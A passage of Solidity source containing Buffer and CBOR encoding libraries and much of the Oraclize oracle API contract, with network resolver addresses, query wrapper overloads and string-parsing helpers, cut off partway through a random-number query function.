mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
/**
* @dev Appends a byte array to the end of the buffer. Resizes if doing so
* would exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Start address = buffer address + buffer length + sizeof(buffer length)
dest := add(add(bufptr, buflen), 32)
// Update buffer length
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + buffer length + sizeof(buffer length)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
// Update buffer length
mstore(bufptr, add(buflen, 1))
}
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + buffer length + sizeof(buffer length) + len
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
/*
End solidity-cborutils
*/
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID; // silence the warning and remain backwards compatible
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof; // Silence compiler warnings
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
// Convert from seconds to ledger timer ticks
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
// the following variables can be relaxed
// check relaxed random contract under ethereum-examples repo
// for an idea on how to override and replace comit hash vars
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
